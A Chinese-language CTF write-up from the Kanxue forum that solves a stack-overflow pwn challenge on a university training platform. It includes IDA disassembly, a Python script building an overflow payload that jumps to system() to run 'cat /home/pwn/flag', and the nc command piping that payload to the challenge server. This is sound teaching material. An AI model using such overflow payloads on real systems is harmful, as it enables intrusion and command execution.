簡單分析南郵實訓平臺pwn方向真題

2021-03-02 看雪學院

簡單分析南郵實訓平臺pwn方向第二題 - Stack Overflow

系統 : Windows xp / ubuntu 32bit
程序 : cgpwna
要求 : 緩衝區溢出執行cat命令
使用工具 :IDA



在linux系統中,使用file命令查看文件的信息:

➜ playground file cgpwna

cgpwna: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=8648818dcc39023c4dac61d2edb091bcd3fd3270, not stripped

發現是32位的可執行程序,我們可以先運行一下,了解其輸出:

➜ playground ./cgpwna

what do you want to do?

1.leave some message.

2.nothing.

your choice:

1

you can leave some message here:

123

your name please:

12333

Thank you

what do you want to do?

1.leave some message.

2.nothing.

your choice:

1

you can leave some message here:

1

your name please:

12

Thank you

what do you want to do?

1.leave some message.

2.nothing.

your choice:

2

bye

直接用ida載入該程序,按下Shift+F12查看字符串列表:

.rodata:08048700 0000000C C echo hello!

.rodata:0804870C 00000018 C what do you want to do?

.rodata:08048724 00000016 C 1.leave some message.

.rodata:0804873A 0000000B C 2.nothing.

.rodata:08048745 0000000D C your choice:

.rodata:08048754 00000021 C you can leave some message here:

.rodata:08048775 00000012 C your name please:

.rodata:08048787 0000000A C Thank you

.eh_frame:08048813 00000005 C ;*2$\"

雙擊字符串bye查看具體信息,這裡通過交叉參考功能定位到main函數,按下F5查看其偽c代碼:

int __cdecl main(int argc, const char **argv, const char **envp)

{

setbuf(stdin, 0);

setbuf(stdout, 0);

setbuf(stderr, 0);

while ( 1 )

{

menu();

fgets(&choice, 100, stdin);

if ( choice != 49 )

break;

message();

}

puts("bye");

return 0;

}

其中的兩個函數內容如下:

int menu()

{

puts("what do you want to do?");

puts("1.leave some message.");

puts("2.nothing.");

return puts("your choice:");

}



int message()

{

char s;



n = 10;

puts("you can leave some message here:");

fgets(A, 60, stdin);

puts("your name please:");

fgets(&s, n, stdin);

return puts("Thank you");

}




這裡,接收用戶輸入的函數的fgets函數:

函數原型

char *fgets(char *buf, int bufsize, FILE *stream);

參數

*buf: 字符型指針,指向用來存儲所得數據的地址。

bufsize: 整型數據,指明存儲數據的大小。

*stream: 文件結構體指針,將要讀取的文件流。

該函數指定了buf的大小,看上去沒有什麼問題,我們再檢查下緩衝區:



這裡,緩衝區只有40位元組的大小,卻指定可以接受60個字節大小的數據呢。我們雙擊'A'查看詳細信息:

.bss:0804A080 ; char A[40]

.bss:0804A080 A db 28h dup(?) ; DATA XREF: message+2Do

.bss:0804A0A8 ; int n

.bss:0804A0A8 n dd ? ; DATA XREF: message+6w

.bss:0804A0A8 ; message+4Br

我們可以給予緩衝區A超過40位元組的數據來替換掉n的值,這樣就能溢出緩衝區s的值了:

雙擊n查看函數棧視圖:

-00000030 s db ?

-0000002F db ? ; undefined

-0000002E db ? ; undefined

-0000002D db ? ; undefined

-0000002C db ? ; undefined

-0000002B db ? ; undefined

-0000002A db ? ; undefined

-00000029 db ? ; undefined

-00000028 db ? ; undefined

-00000027 db ? ; undefined

-00000026 db ? ; undefined

-00000025 db ? ; undefined

-00000024 db ? ; undefined

-00000023 db ? ; undefined

-00000022 db ? ; undefined

-00000021 db ? ; undefined

-00000020 db ? ; undefined

-0000001F db ? ; undefined

-0000001E db ? ; undefined

-0000001D db ? ; undefined

-0000001C db ? ; undefined

-0000001B db ? ; undefined

-0000001A db ? ; undefined

-00000019 db ? ; undefined

-00000018 db ? ; undefined

-00000017 db ? ; undefined

-00000016 db ? ; undefined

-00000015 db ? ; undefined

-00000014 db ? ; undefined

-00000013 db ? ; undefined

-00000012 db ? ; undefined

-00000011 db ? ; undefined

-00000010 db ? ; undefined

-0000000F db ? ; undefined

-0000000E db ? ; undefined

-0000000D db ? ; undefined

-0000000C db ? ; undefined

-0000000B db ? ; undefined

-0000000A db ? ; undefined

-00000009 db ? ; undefined

-00000008 db ? ; undefined

-00000007 db ? ; undefined

-00000006 db ? ; undefined

-00000005 db ? ; undefined

-00000004 db ? ; undefined

-00000003 db ? ; undefined

-00000002 db ? ; undefined

-00000001 db ? ; undefined

+00000000 s db 4 dup(?)

+00000004 r db 4 dup(?)

+00000008

+00000008 ; end of stack variables

此處我們知道,要溢出覆蓋n的值,需要40+4個字節的數據填充;而要溢出覆蓋函數返回地址,則需要30h+8h=38h(56)個字節的數據。

在ida的函數列表視圖中,很輕鬆的找到了pwnme函數:

int pwnme()

{

return system("echo hello!");

}

我們需要修改函數的參數,然後調用system函數執行cat命令查看flag文件。



再來仔細看看函數的彙編代碼:

.text:0804851D public pwnme

.text:0804851D pwnme proc near

.text:0804851D push ebp

.text:0804851E mov ebp, esp

.text:08048520 sub esp, 18h

.text:08048523 mov dword ptr [esp], offset command ; "echo hello!"

.text:0804852A call _system

.text:0804852F leave

.text:08048530 retn

.text:08048530 pwnme endp

函數將command字符串的地址放入esp寄存器指向的棧空間,然後調用了system函數。


我們要做的事,就是將要執行的命令放入緩衝區A中(地址固定),然後將緩衝區A的地址,放入esp寄存器指向的棧空間中,最後直接跳轉到地址0804852A調用system函數。

 

也就是說,我們想要利用漏洞執行cat命令,有兩個條件:

我們知道,執行ret時會彈棧,esp會指向函數返回地址的下一格棧單元:

 

所以不妨填充函數返回地址下方的棧單元為offest A,當ret 指令跳轉執行call system命令時,esp也指向了緩衝區A的地址。

按照以上推理,用python編寫shellcode如下:

cmd ='cat /home/pwn/flag\x001111111111111111111111111\n'



f = open('my_shellcode','w')

f.write('1\n')

f.write(cmd)

f.write('1111111111111111111111111111111111111111111111111111\x2A\x85\x04\x08\x80\xA0\x04\x08\n')

f.close()



連接伺服器,用生成的文件作為輸入:

➜ playground nc 182.254.217.142 10001 < my_shellcode

what do you want to do?

1.leave some message.

2.nothing.

your choice:

you can leave some message here:

your name please:

Thank you

flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}


1、棧溢出漏洞的利用和緩解

https://evilpan.com/2018/03/17/exploit-the-stack/#top

2、fgets函數

https://baike.baidu.com/item/fgets/10942211?fr=aladdin

https://bbs.pediy.com/user-800468.htm

本文由看雪論壇 顧言庭 原創

轉載請註明來自看雪社區


熱門圖書推薦:

立即購買!

(晉級賽Q1正在火熱進行中~!比賽時間:3.10-3.24)

公眾號ID:ikanxue

官方微博:看雪安全

商務合作:wsc@kanxue.com

相關焦點

  • arm_pwn環境搭建及初探
    — QEMU Utilities — pwntools 4.1.2 documentation  http://docs.pwntools.com/en/stable/qemu.html?現星盟安全團隊持續招新,我們誠招Web、Pwn、Re、Crypto、Misc和Blockchain方向的師傅,歡迎各方向師傅加入我們!Web方向的招新要求:實力中上,熟悉常見web漏洞以及ctf技巧,並且積極向上。Pwn方向的招新要求:自學能力強,考核期內提升迅速,堅持完成團隊的任務,勤寫博客做總結並且實力在中等及以上 。
  • PWN學習指南
    《程式設計師的自我修養-連結,裝載與庫》 :這本書主要講了平臺上的文件格式,原始碼是如何到可執行文件的,動態連結靜態連結等.《加密與解密》 :這本書可以看看其中的工具篇和逆向分析技術篇,逆向分析技術篇詳細說明了函數調用約定,函數調用棧幀,c++虛函數等東西.
  • PWNHUB雙蛋賽pwn題解
    pwnhub的2道pwn題目,一道格式化字符串的題目,一道libc-2.31的堆題目。
  • Linux pwn從入門到熟練(二)
    可見,IDA的分析有時是不準的,需要自己去測量。第四步,分析可以利用的函數,發現有system的:這裡可以發現IDA分析的又是正確的了,0x10個字節。第四步和第五步,分析是否已經載入了可以利用的函數,如system,execve等發現,並沒有上述函數。但是由於堆棧可以執行,因此我們可以考慮直接將shellcode阻止在payload裡面。因此,這裡和第五步分析是否有字符串/bin/sh合併了,我們可以自己放置字符串,並且調用對應的地址了。
  • 實戰解析PWN籤到題
    最後面有省略號我猜測應該是沒有輸出完所以我們使用pwntools攻擊 recvline() 接受沒有顯示出來的內容然後發現有一個base64加密的字符串 結合題目說聰明得人才能發現解密出來就是flag{n0tf4stert6an_y0u}
  • 一步一步學pwntools
    本來想發發我之前CTF的writeups,不過數量有點多,而且網上也有很多質量不錯的wp,就發回之前寫的pwntools新手教程。網上純新手教程比較少,一般都是直接調用api,這篇主要是想給新手對pwntool一個更整體的認識。原文是我用英文寫的,如果翻譯的不好,請見諒。
  • vm-pwn入門
    ,做一些題目對vm-pwn進行一個大體上的了解,算是入門。對指令有過了解有耐心(感覺vm程序的代碼量有點大)[OGeek2019 Final]OVM檢測保護canary沒開啟ida分析fetch函數fetch函數較為簡單,即取出pc值,以pc值作為下標返回指定的指令
  • Linux pwn從入門到熟練(三)
    再次,將介紹兩種pwn的方式。這兩種pwn都是針對開啟了NX保護的程序。其間,還給大家分享了我更新的工具getOverFlowOffset。https://github.com/desword/shellcode_tools該工具經過升級,能夠同時應對開啟和沒有開啟PIE的程序。支持分析32位和64位程序。歡迎大家提issue :)。
  • 給南郵的一封信
    光陰似箭,日月如梭,不知不覺已經在南郵生活了一年,讓我深深感覺得到了大學才是開始真正靠自己的時候。從剛剛踏進南郵的懵懂,到如今感受到您的溫暖,我的生活因您而充實多彩,以前從來不知道上大學除了學習以外,還能經歷這麼多其他的事情呢。您提供了許多機會讓我參加各種各樣的活動,讓我有平臺去學習更多技能。
  • 以新工科理念為先導 「青軟實訓」打造企業級實訓平臺
    >:融資需求;高校合作 聯繫方式:13553012608 U+新工科智慧雲平臺由QST青軟實訓與華為聯合開發,通過信息及智能技術與教育教學深度融合,貫穿教、學、評、測、練等人才培養全過程,為高校提供平臺+內容+服務的綜合解決方案。
  • linux pwn入門學習到放棄
    本文記錄菜鳥學習linux pwn入門的一些過程,詳細介紹linux上的保護機制,分析一些常見漏洞如棧溢出,堆溢出,use after free等,以及一些常見工具集合介紹等。先來學習一些關於linux方面的保護措施,作業系統提供了許多安全機制來嘗試降低或阻止緩衝區溢出攻擊帶來的安全風險,包括DEP、ASLR等。
  • 《從入門到禿頭之PWN蛇皮走位》
    這道題讀出的信息,有IP:182.254.217.142 PORT:10001然後flag存放位置是在/home/pwn/flag那麼按道理就是,我們使用遠程連接182.254.217.142:10001然後執行命令接下來問題就是怎麼打了分析函數使用工具:Radare2、IDA7.0使用IDA7.0查看程序
  • Linux kernel pwn:ROP & ret2usr
    部分內核pwn入門基礎可見我的這一篇博文:https://www.cnblogs.com/T1e9u/p/13743811.html#user-space-to-kernel-space內核pwn應該怎麼pwn與用戶態的
  • 今天你pwn了嗎(三)
    所有題目都可在BUU平臺搜索得到 Ctal+F 然後輸入題目名字即可。我們一起來分析下吧。簡單說下 了。ida:棧溢出 ,然後還有 後門函數,直接寫腳本了。[Black Watch 入群題]PWN這道題 考察棧遷移的,剛好再次把它給熟悉下。
  • linux-kernel-pwn qwb2018 core
    根據難易,先看簡單的棧溢出。通過強網杯2018內核題core來了解如何利用基本的棧溢出來進行提權。
  • BUU_PWN刷題(一)
    0x2.ripchecksec:yutao@pwnbaby:~/Desktop$ checksec pwn1[*] '/home/yutao/Desktop/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found
  • 西安鐵道技師學院實訓室探秘|電腦程式設計(軟體工程方向)專業實訓室
    專業機房共有高配置計算機128臺、多媒體平臺2個,可同時滿足3個教學班的學生進行教學、實驗、實訓、考試、培訓等教學活動。實訓設備主要分為教師端和學生端兩個部分:1、教師端可以對學生的操作情況進行實時監控,並能設置相應的考核查看學生的實訓效果;2、學生端配備如Unity3D、3DMax、Photoshop圖像圖像設計軟體,Visual Studio、VC++ 6.0電腦程式設計軟體,solidworks、Robot2.0工業機器人軟體以及其他相關專業軟體。
  • 22考研必看|南京郵電大學801通信報錄比、複試線、考情分析
    雖然南郵現在不是985也不是211,但是南郵曾經有非常好的名聲,南郵大量優秀前輩就已經分布在了通信業各個地區各個層次,校友優勢很強大,因此在通訊類行業裡面對南郵的認可度很高。所以相對的,南郵近年的報考人數也是增長迅猛!
  • 2021年北師大347應用心理學專業碩士MAP諮詢方向考研真題分析
    那麼2021年北師大MAP的真題到底如何呢?接下來,讓我們走進2021年北師大347應用心理學專業碩士MAP真題分析!一、真題題型及分值分布(1)2021年題型科目分值分布(2)2021年與2020年分布對比從2021年和2020年的對比來看,我們可以發現:2021年不論是題量、分布、分值與2020年都沒有什麼變化。
  • 2020 藍帽杯線下賽PWN WriteUp
    from pwn import *file_path = ".else: print("".join([chr(i) for i in ans])) break index = index + 1 print(ans)print("".join([chr(i) for i in ans]))這個題目在edit,show函數中很多擾亂視線的東西,add,delete函數很容易就可以分析出來